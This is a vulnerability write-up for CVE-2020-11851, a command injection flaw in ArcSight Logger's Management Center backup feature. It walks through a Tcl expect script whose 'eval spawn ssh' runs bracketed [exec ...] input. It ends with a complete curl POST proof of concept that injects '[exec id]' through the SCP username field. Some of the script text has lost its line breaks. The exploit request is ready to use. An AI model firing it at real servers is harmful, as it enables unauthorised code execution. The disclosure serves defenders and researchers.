CVE-2020-11851 ArcSight Logger上的远程执行代码漏洞

sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory

#!/bin/sh  
# Set LD_LIBRARY_PATH      export LD_LIBRARY_PATH=$1  echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH  shift  echo "Running command: $*"  $*      exit $?

set password [lindex $argv 0]  set host [lindex $argv 1]  set port [lindex $argv 2]  set dir [lindex $argv 3]  eval spawn ssh -p $port $host test -d $dir && echo exists  //Vulnerability begins hereexpect "*(yes/no)?*$" { send "yesn" }  set timeout 600  expect "*assword:*$" { send "$passwordn" }   timeout { exit 1 }  set timeout -1  expect "\$ $" As we can see, “runexpect.sh” sets the environment variable(LD_LIBRARY_PATH) and then execute “expect” binary by using “expect” script called “scp.expect.dir.backup1”. This “expect” script gets 4 arguments to use them in “ssh” command.

eval spawn ssh –p [exec id]  test –d fakehostname && echo exists[exec : this is argv1id] : this is argv2fakehostname : this is argv3Expected behavior would be like this:eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome

curl -i -s -k  -X $'POST'     -H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://hq-arc-mgmt/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName="ArcSight Management Center"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName="ArcSight Management Center"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8'     -b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName="ArcSight Management Center"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName="ArcSight Management Center"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8'     --data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All'     $'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'